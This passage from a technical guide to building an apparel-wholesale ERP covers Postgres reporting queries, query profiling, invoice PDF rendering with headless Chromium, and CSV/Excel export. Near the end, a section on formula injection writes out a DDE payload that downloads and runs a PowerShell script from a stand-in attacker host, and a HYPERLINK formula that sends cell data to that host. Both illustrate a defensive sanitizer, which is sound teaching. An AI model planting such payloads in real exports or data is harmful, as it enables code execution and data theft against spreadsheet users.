  SUM(i.balance_due) FILTER (
        WHERE current_date - i.due_date BETWEEN 61 AND 90) AS d61_90,
  SUM(i.balance_due) FILTER (
        WHERE current_date - i.due_date > 90)              AS d90_plus,
  MAX(current_date - i.due_date) AS oldest_days_late,
  ROUND(100.0 * SUM(i.balance_due) / NULLIF(c.credit_limit, 0), 1)
                                 AS pct_of_credit_limit
FROM invoices i
JOIN customers c ON c.id = i.customer_id
WHERE i.tenant_id = $1 AND i.balance_due > 0
GROUP BY c.id, c.name, c.credit_limit
ORDER BY d90_plus DESC NULLS LAST, total_due DESC;

Six SUM(...) FILTER (WHERE ...) expressions produce six columns from one pass, the same trick from the ATS query doing its best work. Each tests current_date - i.due_date, which in Postgres subtracts two date values and yields an integer number of days. Positive means overdue.

The buckets anchor on due_date, not invoice_date. A customer on net-60 terms (payment is due 60 days after the invoice date) is not late on day 45, and getting this wrong makes collections chase people paying exactly as agreed, a fast way to lose an account. The two dates are related by payment terms, and the terms belong on the invoice, copied at issue time, not looked up live from the customer record, because terms change and last year's invoice was issued under last year's terms.

ORDER BY d90_plus DESC NULLS LAST puts the worst on top. NULLS LAST matters: a FILTERed aggregate over zero rows returns NULL, not 0, and Postgres sorts NULLs first in DESC order, so without it your report leads with customers who owe nothing overdue. A one-line fix for a bug that makes the whole report look broken.

And pct_of_credit_limit turns a list into a decision: $40,000 overdue against a $500,000 limit is a phone call. The same $40,000 against a $45,000 limit is a credit hold, and order entry should already be refusing new orders.

5. Sales rep commission

The question: "What do we owe each rep this month?" Reps are usually paid on collected revenue, not booked, because a booking that never ships or never pays isn't income. Rates are frequently tiered, and the tiers are where people get it wrong.

WITH collected AS (
  SELECT o.sales_rep_id,
         SUM(p.amount)        AS collected_amount,
         COUNT(DISTINCT o.id) AS orders_paid
  FROM payments p
  JOIN invoices i ON i.id = p.invoice_id
  JOIN orders   o ON o.id = i.order_id
  WHERE o.tenant_id = $1
    AND p.received_at >= $2 AND p.received_at < $3
  GROUP BY o.sales_rep_id
),
tiered AS (
  SELECT c.sales_rep_id, c.collected_amount, c.orders_paid,
    -- Marginal tiers: 4% to 50k, 5% from 50k to 150k, 6% above.
      LEAST(c.collected_amount, 50000)                        * 0.04
    + GREATEST(LEAST(c.collected_amount, 150000) - 50000, 0)  * 0.05
    + GREATEST(c.collected_amount - 150000, 0)                * 0.06
      AS commission
  FROM collected c
)
SELECT
  r.name AS rep, t.orders_paid, t.collected_amount,
  ROUND(t.commission, 2) AS commission,
  ROUND(100.0 * t.commission / NULLIF(t.collected_amount, 0), 2)
                                                      AS effective_rate_pct,
  DENSE_RANK() OVER (ORDER BY t.collected_amount DESC) AS rank_this_period,
  LAG(t.collected_amount) OVER (ORDER BY t.collected_amount DESC)
    - t.collected_amount                              AS behind_next_rep_by
FROM tiered t
JOIN sales_reps r ON r.id = t.sales_rep_id
ORDER BY t.collected_amount DESC;

collected follows the money backwards: payments → invoices → orders → rep, filtered on p.received_at because "commission on collections" means the period is defined by when cash arrived. Note >= $2 AND < $3, a half-open interval. BETWEEN on timestamps is a classic off-by-one: BETWEEN '2026-07-01' AND '2026-07-31' silently excludes everything after midnight on July 31st, because a bare date means 00:00:00. Use half-open intervals everywhere with timestamps.

The tiered block is worth studying. Tiered commission is marginal, like income tax: crossing $150,000 doesn't retroactively pay 6% on everything, only on the part above. Nested CASE statements are where bugs live.

The LEAST/GREATEST form reads directly as policy: LEAST(amount, 50000) is the portion inside tier 1. GREATEST(LEAST(amount, 150000) - 50000, 0) is tier 2: the inner LEAST caps at the ceiling, subtracting the floor gives the slice, and GREATEST(..., 0) clamps to zero for reps who never reached the tier (otherwise you'd pay negative commission at $30k, memorable in the worst way). GREATEST(amount - 150000, 0) is everything above.

A fourth tier is one more line of the same shape. Test at exactly $50,000, exactly $150,000, and $0, because that's where every tiering bug hides.

LAG(x) OVER (ORDER BY ...) is the last window function you need: it returns x from the previous row in the window's ordering. Sorted descending, the previous row is the rep just ahead, so the subtraction is "how far behind you are." Reps are competitive, and this column gets more attention than the commission column. Its twin LEAD looks forward, and the pair computes any period-over-period change without a self-join.

6. Size-curve analysis

The question: "Are we buying the right ratio of sizes?" A size curve is the distribution of units across sizes within a style: say 10% S, 25% M, 30% L, 25% XL, 10% XXL. Buy one curve and sell a different one and you end up with a warehouse full of XXL and no mediums, which is the same as being out of stock while holding inventory.

WITH by_size AS (
  SELECT
    s.style_number, s.size, s.size_sort,
    SUM(l.qty_delta) FILTER (WHERE l.reason = 'po_receipt') AS bought,
    SUM(ol.qty_shipped)                                     AS sold
  FROM skus s
  LEFT JOIN inventory_ledger l ON l.sku_id = s.id AND l.tenant_id = $1
  LEFT JOIN order_lines ol     ON ol.sku_id = s.id
  LEFT JOIN orders o           ON o.id = ol.order_id
                              AND o.status IN ('shipped','invoiced','paid')
  WHERE s.tenant_id = $1 AND s.season = $2
  GROUP BY s.style_number, s.size, s.size_sort
)
SELECT
  style_number, size, bought, sold,
  ROUND(100.0 * bought / NULLIF(SUM(bought) OVER (PARTITION BY style_number), 0), 1)
    AS bought_curve_pct,
  ROUND(100.0 * sold   / NULLIF(SUM(sold)   OVER (PARTITION BY style_number), 0), 1)
    AS sold_curve_pct,
  ROUND(
      100.0 * sold   / NULLIF(SUM(sold)   OVER (PARTITION BY style_number), 0)
    - 100.0 * bought / NULLIF(SUM(bought) OVER (PARTITION BY style_number), 0)
  , 1) AS curve_gap_pts
FROM by_size
ORDER BY style_number, size_sort;

This one is almost entirely about one clause. SUM(bought) OVER (PARTITION BY style_number) reads as: "sum bought across all rows sharing my style_number, and put that total on my row." PARTITION BY is to window functions what GROUP BY is to aggregates, with one difference: the rows survive. So on the MER-TEE / Medium row it returns total units bought across every size of MER-TEE. Divide the row's own bought by it and you have that size's share of the style: the curve, inline, no subquery, no second pass.

With both curves as percentages, curve_gap_pts is the difference. Positive means the size sold better than you bought it (you were short). Negative means you over-bought. A style at +8 on Medium and −9 on XXL tells you in one row exactly what to change on the reorder. Note the unit: these are percentage points, not percent, and the _pts suffix is the small honesty that stops someone labeling a chart axis wrong.

Two details that matter more than they look. size_sort is an integer column on the SKU table, and it exists because sizes don't sort alphabetically: ORDER BY size gives L, M, S, XL, XS, which is meaningless. Every apparel system needs an explicit size sort key, set once when the scale is defined. And the LEFT JOINs ensure a size bought but never sold still appears with sold = 0 instead of vanishing — the sizes that didn't sell are the entire point, and an inner join would silently delete your findings.

Measuring before optimizing

Everything so far assumed you knew which query was slow. You don't, and the gap between what engineers believe is slow and what actually is, is enormous.

A true story that repeats everywhere. A team notices the app feels sluggish. Someone remembers the sell-through dashboard is heavy. Two engineers spend nine days building a materialized view, a refresh schedule, and an invalidation scheme for it. The app is exactly as sluggish afterward. They finally install pg_stat_statements and find the dashboard is 3% of total database time, while a single unindexed lookup on invoices.order_id, called on every page load by a sidebar widget nobody notices, is 61%. The real fix was one CREATE INDEX and took four minutes.

The lesson is that intuition about database load is unreliable, because total time is frequency × duration and humans only perceive duration. A 6-second query run twice an hour costs 12 seconds an hour. A 40-millisecond query run 100,000 times an hour costs 4,000 seconds an hour, or about 67 minutes. The second one is invisible to everyone and more than three hundred times more expensive.

pg_stat_statements: the only tool you actually need

pg_stat_statements records execution statistics for every query the server runs. It normalizes them first, replacing literals with placeholders, so a million lookups with different SKU ids collapse into one row with calls = 1000000. That normalization is what makes the data readable.

-- Requires the library preloaded at server start:
--   shared_preload_libraries = 'pg_stat_statements'
--   compute_query_id = on
-- On Supabase this is already done for you.
CREATE EXTENSION IF NOT EXISTS pg_stat_statements;

Three configuration facts. pg_stat_statements.max defaults to 5000 distinct normalized statements. When it fills, the least-executed entries are discarded, and it can only be changed at server start. pg_stat_statements.track defaults to top (client-issued statements only). Set it to all to count statements inside functions and triggers separately, which you want once triggers maintain a cache. track_planning defaults to off because it costs measurable overhead. Leave it off unless you specifically suspect planning time.

SELECT
  round(total_exec_time)::bigint    AS total_ms,
  calls,
  round(mean_exec_time::numeric, 2) AS mean_ms,
  round(max_exec_time::numeric, 2)  AS max_ms,
  rows,
  round(100.0 * shared_blks_hit
        / NULLIF(shared_blks_hit + shared_blks_read, 0), 1) AS cache_hit_pct,
  round(100.0 * total_exec_time
        / NULLIF(SUM(total_exec_time) OVER (), 0), 1)       AS pct_of_total,
  left(regexp_replace(query, '\s+', ' ', 'g'), 120)         AS query
FROM pg_stat_statements
WHERE dbid = (SELECT oid FROM pg_database WHERE datname = current_database())
ORDER BY total_exec_time DESC
LIMIT 20;

Read the columns in this order:

• total_ms: sort by this and nothing else. It's calls × mean_exec_time, the actual share of your database's life this query consumed.
• pct_of_total: the same as a share, using our SUM(...) OVER () trick. When one query is 61%, you're done investigating.
• calls and mean_ms together tell you which kind of problem you have. High mean, low calls = one heavy query. Fix that with a better plan or a materialized view. Low mean, huge calls = a chatty application. Fix that with batching, a join instead of a loop, or app-layer caching. These need opposite responses, and total_ms alone won't distinguish them.
• max_ms versus mean_ms: a 12 ms mean with a 9,400 ms max means usually fine, occasionally catastrophic: typically lock contention or a plan that flips for certain parameter values. It's also exactly the pattern producing a terrible p95 with a lovely average.
• rows: divide by calls for rows per call. 200,000 rows per call is usually a missing LIMIT on something a human is looking at.
• cache_hit_pct: pages found in memory over pages touched. Below about 95% on a hot query means it's grinding disk, either because the working set exceeds RAM or because it's scanning something it shouldn't.

One more essential technique: reset before you measure. Statistics accumulate since the last reset, so a table dominated by a backfill from three weeks ago tells you nothing about today.

SELECT pg_stat_statements_reset();   -- clear everything
-- ...let a representative hour of real traffic run...
-- ...then run the top-20 query above.

pg_stat_statements_reset() throws away every counter the extension is holding and starts again from zero. Run it, leave the system alone for an hour of ordinary business, and then run the top-20 query. A market-week hour and a quiet Sunday will give you very different answers, so pick the one you care about. Everything you see afterwards describes that hour and nothing else.

From "which query" to "why"

Once the offender is named, substitute realistic parameter values and run EXPLAIN (ANALYZE, BUFFERS) on it. Look for, in rough order of frequency:

• a Seq Scan on a big table with high Rows Removed by Filter (a missing index, the cheapest fix in databases).
• a row estimate off by 10× or more (run ANALYZE, and if it persists, the planner is assuming two correlated columns are independent and CREATE STATISTICS on the pair fixes it).
• a Nested Loop with large loops= (usually a consequence of the previous item, so multiply per-loop time by loop count for the real cost).
• a Sort with Sort Method: external merge Disk: 148MB or a Hash with Batches: 8 (both spilled, so raise work_mem or provide a pre-sorted index).
• huge shared read counts on a constantly-run query (your working set doesn't fit in shared buffers, or you're selecting columns you don't need).

Two companion tools. auto_explain logs the full plan of any query exceeding a duration threshold. That matters, because the slow occurrences of a usually-fast query happen at 3 a.m. under load, not while you're watching. Set auto_explain.log_min_duration = '2s' and read the logs. And Supabase's Query Performance dashboard is pg_stat_statements with a nicer face: same data, same reading rules.

Measure at the application layer too. The database can report 40 ms while the user waits 2.6 seconds, because the request also ran a serial chain of six queries, an auth check, a third-party call, and a JSON serialization of 40,000 rows. Instrument the HTTP handler and record p50/p95/p99 per route. The database's "slow" and the user's "slow" are different measurements, and only one of them is the product.

Report generation: PDFs that survive contact with a CFO

ERPs produce paper — or its digital ghost. Two documents rule apparel wholesale. The invoice is the bill you send a retailer. A misaligned total column reads as "unprofessional, maybe wrong," and a retailer's accounts-payable department will genuinely reject a malformed invoice and delay payment by a month. The linesheet is the sales catalog: photos, style numbers, colorways, prices, often with live ATS. Both are pixel-fussy, multi-page, generated from live data, and scrutinized by people who are not your users and have no patience.

Approach 1: headless Chromium print-to-PDF

A headless browser is a real browser (Chromium, the engine under Chrome) running without a window, driven by code. The trick: you already know how to build a beautiful invoice as a web page with React and CSS. So build exactly that, then have the headless browser open it and "print" to PDF. Same engine, same rendering, same fonts as your app. Playwright drives the browser (Puppeteer is its older sibling, with a near-identical API, and PDF output is Chromium-only in both). The architecture has three parts: a print route, a renderer, and a store.

Part 1: the print route

// app/print/invoices/[id]/page.tsx
import { notFound } from "next/navigation";
import { verifyPrintToken } from "@/lib/print-token";
import { getInvoiceForPrint } from "@/lib/invoices";

export const dynamic = "force-dynamic";

export default async function InvoicePrintPage({
  params, searchParams,
}: {
  params: Promise<{ id: string }>;
  searchParams: Promise<{ t?: string }>;
}) {
  const { id } = await params;
  const { t } = await searchParams;

  // Short-lived, single-purpose token. No session cookie involved:
  // the headless browser is not a logged-in user.
  const claims = await verifyPrintToken(t, { resource: `invoice:${id}` });
  if (!claims) notFound();

  const invoice = await getInvoiceForPrint(claims.tenantId, id);
  if (!invoice) notFound();

  return <main className="invoice" data-print-ready="false">{/* ... */}</main>;
}

Build this as an ordinary server-rendered page, a real URL you can open in your own browser, not an API endpoint returning HTML.

The token stands in for session auth because the headless browser is a separate process with no cookies of its own. You could copy the user's session in, but that hands a full user session to a subsystem whose entire job is reading one invoice.

A print token is a short signed string granting read access to exactly one document for about sixty seconds. "Signed" means your server stamps it with a secret key so nobody can forge or edit it. A JWT (JSON Web Token) or a plain HMAC (a keyed fingerprint) of the resource id plus an expiry time both do the job.

verifyPrintToken checks signature, expiry, and that the resource claim matches the id in the URL. That last check is what stops someone using a valid token for invoice A against invoice B. dynamic = "force-dynamic" disables caching. A cached invoice page is a stale invoice page, and you don't want to discover that in an audit.

Part 2: the template

@page { size: A4; margin: 18mm 12mm 16mm 12mm; }

@font-face {
  font-family: "InvoiceSans";
  src: url("/fonts/InvoiceSans-Regular.woff2") format("woff2");
  font-weight: 400;
  font-display: block;          /* never render with a fallback */
}
@font-face {
  font-family: "InvoiceSans";
  src: url("/fonts/InvoiceSans-Bold.woff2") format("woff2");
  font-weight: 700;
  font-display: block;
}

.invoice { font-family: "InvoiceSans", sans-serif;
           font-size: 9.5pt; line-height: 1.35; color: #111; }

/* Money and quantity columns: digits must line up vertically. */
.num { font-variant-numeric: tabular-nums;
       text-align: right; white-space: nowrap; }

table.lines { width: 100%; border-collapse: collapse; }
table.lines th { text-align: left; border-bottom: 1pt solid #111;
                 padding: 4pt 3pt; }
table.lines td { padding: 3pt; border-bottom: 0.25pt solid #ccc; }

@media print {
  thead     { display: table-header-group; }   /* repeat headers per page */
  tfoot     { display: table-footer-group; }
  tr        { break-inside: avoid; }           /* never split a line item */
  .size-run { break-inside: avoid; }           /* keep a size grid together */
  .totals   { break-inside: avoid; break-before: avoid; }
  h2, h3    { break-after: avoid; }            /* no lone heading at page foot */
  p         { orphans: 3; widows: 3; }
  .page-break-before { break-before: page; }
  a[href]::after { content: ""; }              /* kill printed URL suffixes */
}

Each rule prevents a specific embarrassment:

• @page declares page geometry in CSS, and Playwright honors it with preferCSSPageSize: true, which is cleaner: the document owns its dimensions instead of the renderer guessing. Use mm or pt, never px, because a pixel has no fixed physical size.
• font-display: block shows nothing until the font loads rather than flashing a fallback. That is user-hostile on the web and essential in print, because a PDF rendered mid-swap is typeset in Times New Roman and you'll email it before noticing.
• tabular-nums forces every digit to the same width. In a proportional font "1" is narrower than "8", so a column of right-aligned money looks subtly ragged and, to a CFO, subtly wrong. It's the highest-value line in the stylesheet.
• thead { table-header-group } reprints column headers on every page. Without it, page 2 of a 140-line order is an unlabeled wall of numbers.
• tr { break-inside: avoid } makes a row atomic, so a line item never has its style number on page 1 and its price on page 2.
• .totals { break-before: avoid } keeps the totals attached to the preceding rows, because a total alone on page 3 is the number-one complaint about generated invoices.
• orphans/widows set the minimum lines allowed at a page edge, for terms-and-conditions blocks.
• And a[href]::after suppresses print resets that append the URL after every link.

<main className="invoice" data-print-ready="false">
  <header className="masthead">
    <img src="/brand/logo.svg" alt="" width={140} height={28} />
    <div>
      <h1>Invoice {invoice.number}</h1>
      <div>Issued {fmtDate(invoice.issuedAt)}</div>
      <div>Terms {invoice.terms} &middot; Due {fmtDate(invoice.dueAt)}</div>
    </div>
  </header>

  <section className="parties">
    <address>{invoice.billTo}</address>
    <address>{invoice.shipTo}</address>
  </section>

  <table className="lines">
    <thead>
      <tr>
        <th>Style</th><th>Color</th><th>Size</th>
        <th className="num">Qty</th>
        <th className="num">Price</th>
        <th className="num">Amount</th>
      </tr>
    </thead>
    <tbody>
      {invoice.lines.map((l) => (
        <tr key={l.id}>
          <td>{l.styleNumber}</td>
          <td>{l.colorway}</td>
          <td>{l.size}</td>
          <td className="num">{l.qty}</td>
          <td className="num">{money(l.unitPrice, invoice.currency)}</td>
          <td className="num">{money(l.qty * l.unitPrice, invoice.currency)}</td>
        </tr>
      ))}
    </tbody>
  </table>

  <section className="totals">
    <Row label="Subtotal" value={money(invoice.subtotal, invoice.currency)} />
    <Row label="Freight"  value={money(invoice.freight,  invoice.currency)} />
    <Row label="Tax"      value={money(invoice.tax,      invoice.currency)} />
    <Row label="Total"    value={money(invoice.total,    invoice.currency)} bold />
  </section>

  <PrintReadySentinel />
</main>

Two things to notice. money() takes an explicit currency and uses a fixed locale, never the server's default, which differs between your laptop and production and will silently turn "1,234.56" into "1.234,56". And the totals come from the invoice record, not from re-summing lines in the template: if the template computes the total, the PDF and the database can disagree after a rounding change, and the one you emailed is the one the customer will pay. Compute once, store it, print the stored value.

"use client";
import { useEffect } from "react";

export function PrintReadySentinel() {
  useEffect(() => {
    (async () => {
      await document.fonts.ready;          // all @font-face files applied

      const imgs = Array.from(document.images);
      await Promise.all(
        imgs.map((img) =>
          img.complete
            ? Promise.resolve()
            : new Promise<void>((res) => {
                img.addEventListener("load",  () => res(), { once: true });
                img.addEventListener("error", () => res(), { once: true });
              })
        )
      );

      document.querySelector("main")?.setAttribute("data-print-ready", "true");
    })();
  }, []);
  return null;
}

This component exists because the obvious alternative is a trap. Playwright's waitUntil: "networkidle" waits for the network to go quiet, which only approximates "the page has finished." It fails in both directions: an analytics beacon that pings every few seconds keeps the network busy forever, while a font that has already downloaded but has not yet been applied to the text lets it fire too early.

Playwright's own documentation marks the option DISCOURAGED and tells you to wait on a real condition instead. An explicit signal from the page is that real condition, and document.fonts.ready is the browser's own promise for "all font loading has settled" — exactly the guarantee we need.

Part 3: the renderer

import { chromium, type Browser } from "playwright";

let shared: Browser | null = null;

async function getBrowser(): Promise<Browser> {
  if (shared && shared.isConnected()) return shared;
  shared = await chromium.launch({
    args: ["--no-sandbox", "--disable-dev-shm-usage",
           "--font-render-hinting=none"],
  });
  return shared;
}

export async function renderInvoicePdf(
  invoiceId: string, printToken: string
): Promise<Buffer> {
  const browser = await getBrowser();
  const context = await browser.newContext({
    locale: "en-US", timezoneId: "UTC", deviceScaleFactor: 2,
  });
  const page = await context.newPage();

  try {
    page.setDefaultTimeout(20_000);

    const url = `${process.env.PRINT_ORIGIN}/print/invoices/${invoiceId}`
              + `?t=${encodeURIComponent(printToken)}`;

    const res = await page.goto(url, { waitUntil: "domcontentloaded" });
    if (!res || !res.ok()) throw new Error(`print route returned ${res?.status()}`);

    await page.waitForSelector('main[data-print-ready="true"]');
    await page.emulateMedia({ media: "print" });

    return await page.pdf({
      preferCSSPageSize: true,       // honour the @page rule in our CSS
      printBackground: true,         // keep background colours and rules
      displayHeaderFooter: true,
      headerTemplate: `
        <div style="font-size:8pt; font-family:sans-serif; width:100%;
                    padding:0 12mm; color:#666;
                    display:flex; justify-content:space-between;">
          <span>Meridian Apparel Co.</span>
          <span class="title"></span>
        </div>`,
      footerTemplate: `
        <div style="font-size:8pt; font-family:sans-serif; width:100%;
                    padding:0 12mm; color:#666; text-align:center;">
          Page <span class="pageNumber"></span>
          of <span class="totalPages"></span>
        </div>`,
      margin: { top: "20mm", bottom: "16mm", left: "12mm", right: "12mm" },
      tagged: true,
    });
  } finally {
    await context.close();           // close the context, keep the browser
  }
}

Line by line, with the traps called out:

• getBrowser() reuses one browser process. Launching Chromium takes a noticeable fraction of a second and hundreds of megabytes of memory. On our test machine it was the difference between a 900 ms render and a 2.5 s one, or about eight extra minutes on a 300-invoice month-end batch.
• newContext() per document. A browser context is an isolated profile (own cookies, cache, storage) that costs almost nothing. Reusing the browser but isolating contexts gives you speed without letting one tenant's document leak state into another's. That's a real multi-tenancy concern.
• locale and timezoneId pin the two environment variables that most often make a PDF render differently on a Mac and a Linux container.
• --no-sandbox, --disable-dev-shm-usage are the two flags nearly every container needs: Chromium's sandbox wants kernel capabilities most runtimes drop, and /dev/shm defaults to 64 MB in Docker, producing a cryptic "Target closed" crash when it fills. Both are only acceptable because the only pages you load are your own.
• domcontentloaded plus waitForSelector: navigate cheaply, then wait for the real condition. Checking res.ok() matters more than it looks: with an expired token the route returns 404, and page.pdf() will happily produce a beautiful one-page PDF of your 404 screen and email it to a customer.
• preferCSSPageSize: true makes @page authoritative. Without it the format option (default 'Letter') wins, which is how a European customer gets a Letter-sized invoice that clips on A4.
• printBackground: true is off by default. Chromium strips background colors when printing, so your header band, zebra striping, and colored pills all vanish silently.
• displayHeaderFooter: true is also off by default, and it catches everyone: perfect templates render nothing because the switch enabling them is separate.
• Templates render in an isolated scope. Playwright's docs state that "page styles are not visible inside templates" and that "script tags inside templates are not evaluated." Every style must therefore be inline, and you must set font-size explicitly, because the built-in default is tiny enough to look like a rendering bug. The classes date, title, url, pageNumber, and totalPages are the only dynamic values. Chromium injects text into any element carrying those names.
• Always set margin when you use a header or footer. They are drawn inside the page margin, and the margin defaults to zero on every side, so with no margin there is nowhere for them to appear. If the margin is smaller than the template, the template silently doesn't render: no error, just an invoice with no page numbers.
• tagged: true emits a structured PDF that screen readers can navigate. It costs nothing and some enterprise customers require it during vendor onboarding.
• finally { context.close() } closes the per-document context even on throw. Leaked contexts are a slow memory bleed that shows up as the operating system killing your process for running out of memory, three hours into a batch. Keep the browser, but add a SIGTERM hook that closes it, or your container won't exit cleanly.

Running headless Chromium where it doesn't want to run

Chromium behaves like a several-hundred-megabyte desktop application that wants real memory and CPU, because that is what it is. Serverless platforms are built for small, short, stateless functions. The mismatch has specific numbers.

On Vercel, as of July 2026, a function's uncompressed bundle is capped at 250 MB. Large functions lift that to 5 GB, but they require Fluid compute, Vercel's newer execution model, where one instance serves several requests and you are billed for the CPU time you actually burn. Either way, the full playwright package with its bundled browsers blows past 250 MB on its own.

The standard workaround is @sparticuz/chromium, a Chromium build for Lambda-style environments that ships the browser compressed with Brotli (a compression format) and unpacks it at startup, paired with playwright-core:

import chromium from "@sparticuz/chromium";
import { chromium as playwright } from "playwright-core";

export const maxDuration = 60;      // Vercel: seconds
export const runtime = "nodejs";

const browser = await playwright.launch({
  args: chromium.args,
  executablePath: await chromium.executablePath(),
  headless: true,
});

Read the package's own guidance before planning capacity. It says: "You should allocate at least 512 MB of RAM to your instance; however, 1600 MB (or more) is recommended." It also notes that chromium.br is over 50 MB, which is why a -min variant exists for vendors with tight deployment limits. That variant leaves the browser out of your bundle and fetches it from a URL you host (chromium.executablePath("https://…/chromiumPack.tar")), trading bundle size for a slower first run.

On the Vercel side, as of July 2026, functions default to 2 GB of memory and 1 vCPU (Pro and Enterprise can raise that to 4 GB / 2 vCPU), and the default maximum duration is 300 seconds. Those numbers fit.

What still hurts is that every cold start, meaning the first request handled by a brand-new instance, has to decompress and boot Chromium before your page even loads, that getBrowser() buys nothing on that first request because there is no browser to reuse yet, and that you pay for the provisioned memory across the whole invocation.

Render PDFs in a worker, not a request handler

The honest recommendation: don't render PDFs in a request handler. Make it a job. The user clicks "Download invoice." Your API validates, mints a print token, enqueues a job, and immediately returns 202 Accepted with a job id. That status is the HTTP way of saying "I've accepted this; it isn't finished yet."

A long-lived worker (a container on Fly.io, Railway, Render, ECS) picks it up with an already-warm Chromium, renders in well under a second for a typical invoice, uploads the file to object storage (a bulk file store such as S3, R2, or Supabase Storage), and marks the job complete. The browser, polling or on a realtime channel, gets a signed download URL.

More moving parts, unambiguously better: warm browsers, no duration ceiling, no bundle gymnastics, natural batching for a 400-invoice month-end run, automatic retries, and a slow render can never occupy a request thread or time out a user's connection. If you already have a job queue for imports and EDI (chapter 11), this is one more consumer on infrastructure you own.

The exception: if you generate a handful of PDFs a day on Vercel, the serverless path with @sparticuz/chromium is fine and much less work. Move to a worker the first time month-end times out.

Deterministic fonts, and why your PDF looks wrong on the server

The most common "it worked on my machine" bug in PDF generation is typographic. Your Mac has hundreds of fonts installed. A minimal Linux container has almost none. Chromium falls back to whatever it finds, your invoice reflows, columns misalign, text overflows — and it does this silently.

The fix is a short list of absolutes:

• self-host every font as WOFF2 in your own app (not Google Fonts, not any CDN, because a CDN adds a network dependency to a render that must not fail and quietly makes your output non-reproducible).
• declare every weight and style you use, because if you use bold and ship only regular, Chromium synthesizes a fake bold by smearing glyphs, which looks worse and measures differently.
• font-display: block.
• wait for document.fonts.ready.
• install fonts in the container too if you render user-supplied content, plus CJK and emoji fallbacks (fonts-noto-cjk, fonts-noto-color-emoji), or a Japanese retailer's ship-to address prints as a row of empty boxes, the famous "tofu."
• --font-render-hinting=none so glyph rasterization is consistent across hosts.

Pin all of it and PDF generation becomes reproducible: same input, same bytes. That's what lets you write a test that renders a fixture invoice and compares it to a stored reference.

Approach 2: @react-pdf/renderer

@react-pdf/renderer (v4.5.1 as of July 2026; MIT-licensed, so free to use commercially; works with React 16.8 through 19) takes the opposite bet. Instead of rendering HTML in a browser, you write React components against its own primitives (<Document>, <Page>, <View>, <Text>), and it lays them out with its own flexbox engine and writes PDF bytes directly. No browser at any point:

import { Document, Page, View, Text, StyleSheet, Font } from "@react-pdf/renderer";

Font.register({
  family: "InvoiceSans",
  fonts: [
    { src: "./fonts/InvoiceSans-Regular.ttf", fontWeight: 400 },
    { src: "./fonts/InvoiceSans-Bold.ttf",    fontWeight: 700 },
  ],
});

const s = StyleSheet.create({
  page:   { padding: 36, fontSize: 9, fontFamily: "InvoiceSans" },
  header: { position: "absolute", top: 12, left: 36, right: 36 },
  row:    { flexDirection: "row", paddingVertical: 3,
            borderBottom: "0.5 solid #ddd" },
  qty:    { width: 40, textAlign: "right" },
  footer: { position: "absolute", bottom: 16, left: 36, right: 36,
            textAlign: "center", fontSize: 8, color: "#666" },
});

export function LinesheetPdf({ lines }: { lines: LinesheetLine[] }) {
  return (
    <Document title="SS27 Linesheet">
      <Page size="A4" style={s.page}>
        <Text style={s.header} fixed>Meridian Apparel — SS27 Linesheet</Text>
        {lines.map((l) => (
          <View key={l.skuId} style={s.row} wrap={false}>
            <Text>{l.styleNumber} {l.colorway}</Text>
            <Text style={s.qty}>{l.ats}</Text>
          </View>
        ))}
        <Text style={s.footer} fixed
          render={({ pageNumber, totalPages }) => `${pageNumber} / ${totalPages}`}
        />
      </Page>
    </Document>
  );
}

The fixed prop pins an element to every page, giving you running headers and page numbers, and it is nicer than Chromium's isolated template strings. wrap={false} is the exact equivalent of break-inside: avoid. The render prop is called at layout time with the page numbers. Font.register makes font handling explicit, removing the whole class of missing-font bugs above.

The catch is what's absent: this is not HTML. None of your app's components, no Tailwind, no DOM-targeting library, no CSS grid, no <table>. For a document as rich as a linesheet you maintain a second, parallel UI codebase, and every design change is made twice.

Our default is Chromium for both flagship documents: fidelity and debuggability win, and wholesale invoice volume never stresses the heavyweight runtime once it's on a worker. We'd reach for react-pdf on a high-volume, low-design document: packing slips generated one per carton, two thousand a day, where nobody cares what font they're in.

CSV and Excel: the export button on everything

Hard-won ERP truth: whatever screens you build, your users' real workflow ends in a spreadsheet. Buyers want order confirmations in Excel. Ops emails inventory snapshots as CSV to 3PLs (third-party logistics providers, the outside companies that store and ship your goods for you). Finance reconciles in Excel, forever. Every list screen gets an export button, and you should build one good exporter instead of fifteen ad-hoc ones that each escape slightly differently.

You offer both formats because they serve different consumers. CSV is for machines: a 3PL's warehouse system, an EDI translator, a customer's data warehouse, your own re-import routine. Plain text, no formatting, no formulas, streams trivially, parseable in ten lines of any language.

XLSX is for humans: multiple sheets, frozen headers, column widths that fit, number formats so 1234.5 displays as $1,234.50, autofilter, a bold totals row. A finance person handed a bare CSV of 40,000 invoice lines spends fifteen minutes making it readable before they can start. Doing that in code, once, is the cheapest goodwill available to you.

CSV's only real hazard is escaping: a style named Wrap Dress, Silk contains a delimiter, so it must be quoted; a value containing a quote must have it doubled; a value with a newline must be quoted too. Use a maintained library anyway, because a subtly broken CSV doesn't throw. It opens fine with one column shifted, and someone discovers it in a meeting a week later, after deciding on it.

Two encoding details generate surprising ticket volume. First, write a UTF-8 BOM (a byte order mark), three invisible bytes at the very start of the file that tell Excel "this text is UTF-8." Excel on Windows assumes an older regional character set without it and turns "Björn Borg" into "Björn". Second, delimiters are locale-dependent: most of continental Europe expects semicolons, because the comma is their decimal separator.

Formula injection: a security bug hiding in your export

When a spreadsheet opens a file, any cell beginning with certain characters is interpreted as a formula (a live instruction the spreadsheet executes) rather than as text. OWASP, the security foundation that publishes the standard reference on this, lists the triggers as: "Equals to (=), Plus (+), Minus (-), At (@), Tab (0x09), Carriage return (0x0D), Line feed (0x0A)". The attack is called CSV injection, or formula injection.

The attack against your ERP, concretely. An attacker signs up as a customer (or is a real customer with a compromised account) and sets their company name to:

=cmd|'/C powershell -c "iwr https://evil.example/x.ps1 | iex"'!A1

Your system stores it faithfully. It's just a name. Weeks later someone in finance exports the aging receivables report and double-clicks it. Excel sees the leading = and treats the cell as a formula.

This particular payload reaches for DDE (dynamic data exchange), an old Windows mechanism that lets one program ask another to run something. How far it gets depends on the Office version and the machine's settings (current builds restrict this path and prompt first), but prompts are exactly what busy people click through, and the vulnerability lives in your export, running inside your accounting department.

Milder variants need no special mechanism at all: =HYPERLINK("https://evil.example/?d="&A2,"Click for detail") sends the neighboring cell's contents to a stranger's server the moment somebody clicks the friendly-looking link.

const FORMULA_TRIGGERS = ["=", "+", "-", "@", "\t", "\r", "\n"];

/**
 * Make a value safe for a spreadsheet cell. A leading apostrophe tells
 * Excel/LibreOffice/Sheets "this is text", and is not displayed.
 */
export function sanitizeCell(value: unknown): string | number {
  if (typeof value === "number" && Number.isFinite(value)) return value;
  if (value === null || value === undefined) return "";

  const s = String(value);
